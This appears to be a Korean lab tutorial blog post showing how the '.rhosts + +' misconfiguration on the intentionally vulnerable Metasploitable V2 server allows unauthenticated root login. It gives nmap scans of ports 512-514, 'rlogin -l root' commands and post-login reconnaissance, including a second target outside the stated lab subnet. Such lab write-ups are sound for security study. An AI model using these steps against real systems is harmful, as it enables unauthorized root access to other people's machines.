본문 바로가기

Learning/└◆Metasploit

Metasploitable V2 Linux 서버의 취약점(rhosts)

Metasploitable V2 Linux 서버는 많은 버그를 가지고 있습니다.

다음은 버그 실습에 대한 예제입니다.

단순히 참고용으로만 사용하시기 바랍니다.

 

 

 

 

Metasploitable V2 Linux 서버의 취약점에 대해서

 

 

 

 

 

(1) 버그를 공격하는 경우(rCMD(~/.rhosts) 취약점)

 

실습 시스템

- linux200 (EX: attacker system)

- Metasploitable V2 Linux (EX: victim system)

 

공격의 개요

 

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

 

-------------------------------------------------------

             System V           BSD            Secure

-------------------------------------------------------

원격 접속    telnet          rlogin,rsh         ssh

파일 전송    ftp              rcp             sftp, scp

-------------------------------------------------------

rlogin + rsh = ssh(암호화형태)

rlogin,rsh(평문형태)

형식은 동일


BSD기반 서비스는 현재 사용하지 않음.(진단시 활성화 되어있으면 중지해야한다.)  

rCMD(rlogin, rsh, rcp), sCMD(ssh, scp, sftp)

rlogin(Remote Login: 513/TCP), rsh(Remote Shell: 514/TCP), rcp(Remote Copy: 512/TCP)

rlogin -> ssh,   rsh -> ssh,   rcp -> scp 대체하여 사용해야 한다.

 

 

----- HostA -----                       ----- HostB -----

# telnet HostB     ------>            인증(ID/PASS)

# rlogin HostB    ------>           /etc/hosts.equiv, ~/.rhosts

HostA의 일반 사용자도 미리인증 되어 있으면 root사용자로 접근 가능 /.rhosts

 

/etc/hosts,equiv, ~/.rhosts 파일의 형식

---------------------------------------

ServerName    UserName

 

(예제) ~root/.rhosts 파일 내용

---------------------------

() HostA     root

() HostA     +

() +           +


취약점 공격 과정(rCMD(~/.rhosts) 취약점)

(linux200)

rCMD 서비스에 대한 정보 확인

# nmap -sV -p 512-514 192.168.10.0/24

....

Interesting ports on 192.168.10.134:

PORT STATE SERVICE

512/tcp open exec

513/tcp open login

514/tcp open shell 


rlogin 명령어 시도1

# rlogin -l root 192.168.10.134 (# rlogin 192.168.10.134 -l root)


로그인 된다.

root@metasploitable:# id

root@metasploitable:# uname -a

root@metasploitable:# ls /etc/*release*       

root@metasploitable:# cat /etc/lsb-release

root@metasploitable:# cat ~/.rhosts

+ + 

-> ~root/.rhosts 파일은 백도어 파일로 사용되고 있는 파일이다.(man rhosts)


 

② rlogin 명령어 시도2

# nmap -p 512-514 172.16.6.254 

512/tcp filtered exec

513/tcp filtered login

514/tcp filtered shell

필터링 으로 되어 있으면 중간에 방화벽이 있을 가능성이 있다.

# nmap -p 512-514 172.16.9.254

PORT    STATE  SERVICE

512/tcp closed exec

513/tcp open   login

514/tcp open   shell

# rlogin -l root 172.16.9.254

# hostname

# id

# ls /etc/*release

# cat /etc/release

# uname -a

# cat ~/.rhosts

# exit


인증 없이 로그인 가능